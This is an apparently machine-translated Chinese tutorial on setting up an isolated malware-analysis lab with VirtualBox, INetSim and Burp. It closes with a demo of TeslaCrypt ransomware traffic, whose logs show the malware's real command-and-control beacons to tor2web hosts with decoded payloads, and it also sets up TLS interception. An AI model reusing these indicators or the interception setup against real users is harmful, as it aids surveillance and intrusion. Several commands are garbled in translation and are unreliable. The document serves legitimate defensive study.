导语:我们将创建一个与主机操作系统和互联网隔离的隔离虚拟网络,我们将在其中设置两个受害虚拟机(Ubuntu和Windows 7)以及分析服务器,以模拟常见的Internet服务,如HTTP或DNS。

在这篇文章中,我们将创建一个与主机操作系统和互联网隔离的隔离虚拟网络,我们将在其中设置两个受害虚拟机(Ubuntu和Windows 7)以及分析服务器,以模拟常见的Internet服务,如HTTP或DNS。然后,我们将能够记录和分析任何Linux或Windows恶意软件的网络通信,不知不觉中连接到我们的服务器而不是Internet。我们分析了臭名昭着的TeslaCrypt ransomware的流量,ransomware从2015年到2016年中感染了大量的系统。

1.创建虚拟机

这里有两个链接可用于下载Ubuntu和Windows 7虚拟机镜像。

Ubuntu(受害机1和分析机):从OsBoxes (直接链接)下载Ubuntu 16.10 64位

Windows 7(受害者机器2):从Microsoft开发人员网站下载 (选择  Win 7(x86)上的IE 11和  VirtualBox)

Ubuntu机器

OsBoxes为我们提供了一个即用的虚拟磁盘,我们可以简单地插入虚拟机并立即开始使用。首先提取你刚才下载的档案。

$7za e Ubuntu_16.10_Yakkety-VB-64bit.7z

您将获得一个代表机器的虚拟磁盘的VDI文件。我们将从设置基本的Ubuntu镜像开始,然后克隆我们的两个Ubuntu虚拟机。

在VirtualBox中,创建一个新的机器(新建按钮),并称之为Ubuntu  分析。然后,选择要给它多少RAM。此时,VirtualBox会询问您是否要创建新的虚拟硬盘或使用已经退出的虚拟硬盘。选择  使用现有的虚拟硬盘文件,单击下拉列表右侧的目录图标,然后选择VDI文件。然后您可以启动机器。默认密码是  osboxes.org。

基本设置

默认键盘使用QWERTY布局。如果像我一样,你不熟悉它,首先改变它(设置>文本输入)。

或者,您也可以使用以下方式更改默认密码:

$ passwd osboxes

选择设备>在虚拟机运行的窗口的菜单中插入客户添加CD映像。然后会询问您是否要运行安装程序; 回答是,并输入默认密码(默认为  osboxes.org)。安装完成后,关闭虚拟机电源。

克隆

现在你有一个基本的Ubuntu VM准备好了,克隆它(在VirtualBox主界面> 克隆中右键点击它)。命名克隆Ubuntu的受害者, 并选中该复选框以重新初始化其MAC地址。选择克隆类型的完整克隆。

Windows 7机器

之前提供的下载链接指向包含OVA文件的ZIP存档。与VDI文件不同,它不仅是虚拟磁盘,而且是对虚拟机(包括其虚拟磁盘)的完整描述,因此,您从中创建虚拟机所需的唯一工作就是选择“文件”>“导入设备”VirtualBox的主窗口。如果你负担得起,最好给它至少1024 MB的RAM。

 导入过程完成后(可能需要几分钟),重命名VM Windows 7受害者并启动它。

2.设置分析机:INetSim,Burp

INetSim

INetSim是一个非常方便和强大的实用程序,允许在机器上模拟一堆标准Internet服务。默认情况下,它将模拟一个可以轻松调整的DNS,HTTP和SMTP。由于我们稍后将受害者机器配置为没有Internet访问,因此我们将需要INetSim进行模拟。

$ sudo su
$ echo "deb 
http://www.inetsim.org/debian/ binary/" > /etc/apt/sources.list.d/inetsim.list
$ wget -O - http://www.inetsim.org/inetsim-archive-signing-key.asc | apt-key add -
$ apt update
$ apt install inetsim

为了能够在分析计算机中复制粘贴这些命令,请选择设备>共享剪贴板>双向。

稍后我们将介绍如何使用INetSim。

Burpsuite

INetSim对SSL支持相当有限:它提供了一个单一主机(inetsim.org)的证书,并且不支持即时生成SSL证书。这是一个问题,因为大多数恶意软件现在通过SSL加密他们的通信。我们将使用Burp作为透明的SSL代理,这将代表受害机器和INetSim进行SSL连接。如果您现在不需要拦截SSL流量,则不一定需要Burp

Burp支持为任何我们的受害者机器生成即时SSL证书,将连接到。它还创建单个根CA证书,我们稍后将在我们的受害者计算机中导入。这样我们就可以拦截恶意软件发送的加密通讯。

您可以从官方网站下载Burpsuite。下载是一个bash安装脚本,运行它来安装Burp:

$ bash〜/ Downloads / burpsuite_free_linux_v1_7_23.sh

默认情况下,Burp可执行文件将为  〜/ BurpSuiteFree / BurpSuiteFree。

3.建立隔离的虚拟网络

作为提醒,我们希望建立一个包含三个虚拟机的隔离网络。该网络将无法访问Internet。此外,我们希望分析机器充当到受害机器的网络网关,以便轻松地拦截网络流量并模拟各种服务,如DNS或HTTP。

为了实现这一点,我们将使用VirtualBox内部网络。对于熟悉VirtualBox的用户,内部网络与主机网络不同,内部网络根本无法访问主机。

对于每个三个虚拟机,请执行以下操作:

打开其设置

· 转到网络部分

· 将“附加到”字段更改为“内部网络”

· 输入恶意软件分析网络作为网络名称

分析机

打开分析计算机,打开终端并运行ifconfig命令。你应该有一个名为enp0s3的界面。如果名称不同,请按照说明进行调整。

以root身份打开/etc/network/nterfaces文件,最后添加以下内容:

auto enp0s3
 iface enp0s3 inet static
 address 10.0.0.1
 netmask 255.255.255.0

这将在我们的虚拟网络上为机器分配静态IP10.0.0.1。现在我们已经配置了网络接口,我们需要启动它:

 sudo ifup enp0s3

Ubuntu的受害机器

该过程在这里非常相似,除了我们将它分配给静态IP10.0.0.2,并指示它使用10.0.0.1作为网关和DNS服务器。在文件/etc/network/interfaces的末尾附加以下内容:

auto enp0s3 
 iface enp0s3 inet static 
 address 10.0.0.2 
 gateway 10.0.0.1 
 netmask 255.255.255.0 
 dns-nameservers 10.0.0.1

并运行:

$ sudo ifup enp0s3
  $ sudo service networking restart

您现在应该可以ping分析机:

$ ping 10.0.0.1
PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.
64 bytes from 10.0.0.1: icmp_seq=1 ttl=64 time=0.480 ms
64 bytes from 10.0.0.1: icmp_seq=2 ttl=64 time=0.526 ms

Windows 7受害机器

右键单击任务栏中的网络图标(或转到开始菜单>控制面板>网络和Internet>网络和共享中心),单击本地连接2>属性,在Internet协议版本4上选择,然后单击属性按钮。

 我们将静态IP10.0.0.3分配给机器,其他的配置跟ubnutu受害机类似。

确保验证设置(单击  确定,应用等,直到所有设置窗口都消失)。您现在应该可以ping分析机:

ping 10.0.0.1
   Pinging 10.0.0.1 with 32 bytes of data:
   Reply from 10.0.0.1: bytes=32 time<1ms TTL=64
   Reply from 10.0.0.1: bytes=32 time<1ms TTL=64

完成设置

4.创建和恢复快照

现在我们的受害者虚拟机已正确配置并处于干净状态(即未被任何恶意软件感染),我们将对其当前状态进行快照。这样,我们就可以在任何时候轻松地将它们重置到这个干净的状态。

VirtualBox非常简单:在虚拟机运行的窗口中,只需选择“ 机器”>“拍摄快照”。 您可以将快照命名为  Clean状态。 确保做到这一点的都你的Ubuntu和Windows 7受感染计算机。分析机器也不会伤害它。

当您想要将机器重置为干净状态时,只需将其关闭,并选中复选“  当前快照”清除状态。

5.在分析机上使用INetSim和Burp分析网络流量

INetSim

如前所述,INetSim使我们能够提供范围广泛的标准互联网服务,包括DNS,HTTP(S),SMTP等。它有一个默认的配置文件  /etc/inetsim/inetsim.conf,这是非常有说明力的。它还附带一个包含各种默认文件的数据目录(/ var / lib / inetsim)。

由于您每次进行新的分析时可能需要一个不同的INetSim配置,因此建议您创建一个目录 "analysis ",该"analysis "将包含每个分析的子目录。

$ mkdir analysis

为了举例,我们已经创建了一个子目录,并在其中复制默认的INetSim配置文件和数据文件夹。

$ mkdir analysis/test-analysis
$ cp /etc/inetsim/inetsim.conf analysis/test-analysis
$ sudo cp -r /var/lib/inetsim analysis/test-analysis/data
$ sudo chmod -R 777 data
$ cd analysis/test-analysis

缺省情况下,INetSim只侦听本地接口。要用于虚拟网络的所有计算机,请替换刚刚复制的配置文件中的以下行:

#service_bind_address 10.0.0.1

通过:

service_bind_address 0.0.0.0

现在,我们需要禁用systemd-resolved,这是一个本地DNS服务器,默认情况下随Ubuntu一起提供,并且会与INetSim的DNS服务器冲突。

$ sudo systemctl disable systemd-resolved.service 
$ sudo service systemd-resolved.service stop

默认情况下,INetSim的DNS服务器将所有域名解析为127.0.0.1。我们希望任何域名解析为10.0.0.1(分析机器IP); 取消注释以下行:

#dns_default_ip 10.0.0.1

我之前提到,INetSim的SSL支持不是最佳的,因为它只有单个主机名(inetsim.org)的单一证书,并且不允许即时生成每个主机证书。为了克服这个问题,我们将在端口443上运行Burp作为INetSim前面的透明代理。因此,我们需要将INetSim的HTTPS服务器绑定到其他端口,例如端口8443.替换以下行:

#https_bind_port 443

通过:

https_bind_port 8443

现在,我们来运行INetSim!

$ sudo inetsim --data data --conf inetsim.confINetSim 1.2.6 (2016-08-29) by Matthias Eckert & Thomas Hungenberg
[...]
=== INetSim main process started (PID 3605) ===
Session ID: 3605
Listening on: 0.0.0.0
Real Date/Time: 2017-06-04 12:58:07
Fake Date/Time: 2017-06-04 12:58:07 (Delta: 0 seconds)
 Forking services...
 * dns_53_tcp_udp - started (PID 3621)
 * irc_6667_tcp - started (PID 3631)
 * daytime_13_tcp - started (PID 3638)
 * discard_9_tcp - started (PID 3642)
 * discard_9_udp - started (PID 3643)
 * ident_113_tcp - started (PID 3634)
 * syslog_514_udp - started (PID 3635)
[...]

如您所见,INetSim已经推出了一系列网络服务。这些都是可配置的,可以在配置文件中禁用。这个配置文件有很好的记录,并解释了INetSim的所有选项; 我建议你花几分钟阅读。

现在,您的受害者VM打开电源,打开Web浏览器,并浏览到任何地址(例如github.com)。您应该看到以下内容:

(请注意,此默认文件对应于HTML文件数据/ http / fakefiles / sample.html。)

回到分析机上,关闭INetSim(CTRL + C)。

* dns_53_tcp_udp - stopped (PID 3621)
* irc_6667_tcp - stopped (PID 3631)
* daytime_13_tcp - stopped (PID 3638)
[...]
Simulation stopped.
 Report written to '/var/log/inetsim/report/report.3877.txt' (24 lines)

如您所见,INetSim已经为我们创建了一个总结报告。它包含我们受害机器与INetSim服务的所有互动。

=== Report for session '3877' ===
Real start date : 2017-06-04 13:18:27
Simulated start date : 2017-06-04 13:18:27
Time difference on startup : none
2017-06-04 13:18:38 First simulated date in log file
2017-06-04 13:18:40 DNS connection, type: A, class: IN, requested name: github.com
2017-06-04 13:18:40 HTTP connection, method: GET, URL: http://github.com/, file name: data/http/fakefiles/sample.html
2017-06-04 13:18:40 HTTP connection, method: GET, URL: http://github.com/favicon.ico, file name: data/http/fakefiles/sample.html
2017-06-04 13:18:40 Last simulated date in log file

窃取SSL拦截

为了能够分析SSL流量,我们还需要运行Burp。我们将作为INetSim前面的透明代理运行它。当受害者机器将启动SSL连接时,它将首先进入Burp,然后将其委托给INetSim。此部分不是强制性的:如果您现在不需要拦截SSL流量,请跳到下一部分。

以下是Burp在中间的样子:

以root身份启动Burp:

$ sudo /home/osboxes/BurpSuiteFree/BurpSuiteFree

(我们需要以root身份运行,否则将无法绑定端口443,这是一个特权端口,还有其他方法可以做到这一点,但是我们不用在这里)

创建一个临时项目(您还没有任何其他选项与免费版本),然后转到  代理选项卡,然后到  选项子选项卡。您将看到Burp的默认侦听器侦听端口8080。

单击与默认侦听器相对应的行,然后编辑它(编辑)按钮。配置如下:

· 绑定选项卡

绑定到港口:443

绑定地址:所有接口

· 请求处理选项卡:

重定向到主机:localhost

重定向到端口:8443

检查 支持隐形代理

验证设置,你应该得到一个类似于:

默认情况下,Burp拦截传入的请求,并等待您明确地让它们通过。为了避免这种情况,请转到“截取”选项卡,然后单击“截取”按钮以禁用它。

由于Burp Free不允许您保存项目,因此您可以导出我们刚刚创建的设置,以便在下次启动Burp时导入它们。为此,请使用Burp> Project选项>保存项目选项。

让我们确保我们的设置正确工作。启动INetSim,并运行:

$ curl --insecure https//localhost

你应该得到:

<html>
 <head>
 <title>INetSim default HTML page</title>
 </head>
 <body>
 <p></p>
 <p align="center">This is the default HTML page for INetSim HTTP server fake mode.</p>
 <p align="center">This file is an HTML document.</p>
 </body>
</html>

在我们的受害者机器上导入Burp的CA证书

打开Windows 7受影响的计算机电源,并尝试浏览到HTTPS URL(例如https://github.com),您会看到类似于以下内容的警告:

这是因为Burp生成由其自己的CA证书签署的SSL证书,我们的受害者机器现在不信任。

在Burp中,在端口8080上添加新的代理监听器,监听所有接口(选项卡  代理>选项>按钮  添加):

然后,从受害机器,浏览到  http://10.0.0.1:8080。

点击CA证书的右上角下载打嗝的CA证书。

在Windows 7受影响的计算机上:打开文件,单击  安装证书> 下一步>将所有证书放在以下存储中:受信任的根证书颁发机构 >下一步

在Ubuntu的受害机器上:

将证书转换为适当的格式(.crt)

 $ openssl x509 -in〜/ Downloads / cacert.der -inform DER -out burp.cr

复制到/ usr / local / share / ca-certificates

     $ sudo cp burp.crt / usr / local / share / ca-certificates /
     $ sudo update-ca-certificates

默认情况下,Firefox不使用系统的证书存储。如果您希望SSL连接在Firefox中正常工作,请将Firefox设置转到“ 高级”>“证书”>“导入”。选择 burp.crt,检查 信任此CA以识别网站

可以了,好了!

在受影响的计算机中导入Burp的CA证书后,请确保创建新的快照(例如,安装了Burp的CA证书的Clean状态)。

6.在分析计算机和主机操作系统之间设置共享文件夹

在某些时候,您显然会将一些文件传输到分析机器或受害机器之一; 我们将设置一个文件共享来实现它。

在运行分析计算机的VirtualBox中,转到  设备>共享文件夹>共享文件夹设置。创建一个新的共享文件夹,选择要映射到的主机操作系统的本地文件夹,然后选择一个名称。选中该复选框以使其成为永久性。

现在在分析机上安装共享文件夹:

 $ mkdir〜/ malware-analysis-share
 $ sudo mount -t vboxsf -o uid = $ UID,gid = $(id -g)malware-analysis-share〜/ malware-analysis-share

你很好去在我的情况下,位于/home/christophetd/malware-analysis-share中的我的主机的所有文件也将在分析机器中的〜/ malware-analysis-share中结束。

将文件传输到受害计算机

在某些时候,您最有可能需要将一些文件(例如恶意软件样本)传输到其中一个受害机器。为他们设置文件共享是一个坏主意,因为它意味着受害者机器(并且在一定程度上,您运行的恶意软件样本)可以访问它。

实现文件传输到Ubuntu受害者机器的最简单的方法是使用netcat。这是一个简单的例子。

# Receiving machine having IP 10.0.0.2
$ nc -lvp 4444 > file.exe
# Analysis machine (sender)
$ cat file_to_transfer.exe | nc 10.0.0.2 4444

对于Window的受害者,我们遗憾的是没有netcat可用。可能存在替代方案,但是默认情况下它们可能不会运送。一个选择是使用INetSim将文件提供给受害机器。

# inetsim.conf
# Remove the default line: http_fakefile           exe     sample_gui.exe  x-msdos-program
# Replace it by
http_fakefile           exe     file_to_transfer.exe  x-msdos-program
# And put file_to_transfer.exe in ./data/http/fakefiles

使用此配置,只需浏览以“.exe”结尾的任何URL(例如http://github.com/file.exe)。

7.演示时间:TeslaCrypt ransomware

时间快速演示!我下载了勒索软件样本TeslaCrypt,它传递给我们的Windows 7受害机器,并执行它。几秒钟后,虚拟机的所有文件都已加密,弹出如下窗口。

检查INetSim的日志后,我们可以看到ransomware进行了以下DNS查找:

并向这些域发送了多个HTTP请求。

HTTPS connection, method: GET, URL: https://7tno4hib47vlep5o.tor2web.org/state.php?U3ViamVjdD1QaW5nJmtleT0xNUIzOEIxOEFGMjBDMERCMkE3Qzc3MUUwMTQzNjNGMkNCODc4MUIxNTZENTE5Q0M1RjIyMDMzNUQ0NzE0QUEzJmFkZHI9MUxOVUYzQnFMM29iMUNUMmFWcDNjVzROYjh6a2tWaVZ3VCZmaWxlcz0wJnNpemU9MCZ2ZXJzaW9uPTAuMi42YSZkYXRlPTE0OTY2NDg2NzUmT1M9NzYwMSZJRD0xNiZzdWJpZD0wJmdhdGU9RzA=
HTTPS connection, method: GET, URL: https://7tno4hib47vlep5o.tor2web.blutmagie.de/state.php?U3ViamVjdD1QaW5nJmtleT0xNUIzOEIxOEFGMjBDMERCMkE3Qzc3MUUwMTQzNjNGMkNCODc4MUIxNTZENTE5Q0M1RjIyMDMzNUQ0NzE0QUEzJmFkZHI9MUxOVUYzQnFMM29iMUNUMmFWcDNjVzROYjh6a2tWaVZ3VCZmaWxlcz0wJnNpemU9MCZ2ZXJzaW9uPTAuMi42YSZkYXRlPTE0OTY2NDg2NzUmT1M9NzYwMSZJRD0xNiZzdWJpZD0wJmdhdGU9RzE=
HTTPS connection, method: GET, URL: https://7tno4hib47vlep5o.tor2web.fi/state.php?U3ViamVjdD1QaW5nJmtleT0xNUIzOEIxOEFGMjBDMERCMkE3Qzc3MUUwMTQzNjNGMkNCODc4MUIxNTZENTE5Q0M1RjIyMDMzNUQ0NzE0QUEzJmFkZHI9MUxOVUYzQnFMM29iMUNUMmFWcDNjVzROYjh6a2tWaVZ3VCZmaWxlcz0wJnNpemU9MCZ2ZXJzaW9uPTAuMi42YSZkYXRlPTE0OTY2NDg2NzUmT1M9NzYwMSZJRD0xNiZzdWJpZD0wJmdhdGU9RzI=
HTTPS connection, method: GET, URL: 
https://bitcoin.toshi.io/api/v0/addresses/1LNUF3BqL3ob1CT2aVp3cW4Nb8zkkViVwT

我们看到类似的请求是tor2web.org ,tor2web.blutmagie.de和tor2web.fi。这些服务允许访问Tor网络,而无需安装Tor浏览器或类似的工具。

恶意软件联系到Tor隐藏服务  7tno4hib47vlep5o.onion,这可能是某种C&C服务器。请求的有效内容是一个base64编码的字符串,解码为:

Subject=Ping
&key=15B38B18AF20C0DB2A7C771E014363F2CB8781B156D519CC5F220335D4714AA3
&addr=1LNUF3BqL3ob1CT2aVp3cW4Nb8zkkViVwT
&files=0
&size=0
&version=0.2.6a
&date=1496648675
&OS=7601
&ID=16
&subid=0
&gate=G1

它也对bitcoin.toshio.io(不再存在)进行API调用  ,最有可能检查赎金是否已经支付给比特币地址 1LNUF3BqL3ob1CT2aVp3cW4Nb8zkkViVwT。似乎恶意软件为每个受感染的计算机生成唯一的比特币地址,因为地址没有收到或发送任何钱。

结论

希望本指南将有所帮助。有有一些恶意软件会检测虚拟机行为(例如什么都不做)。这是MalwareBytes关于这个问题的一篇文章

另外,请记住,分析恶意软件的网络流量可能非常有用,只是一种动态分析。其他包括监控注册表,系统调用,打开/创建的文件等。Open Security Training提供了一个关于该主题的完整实践课程,免费。

源链接

Hacking more

...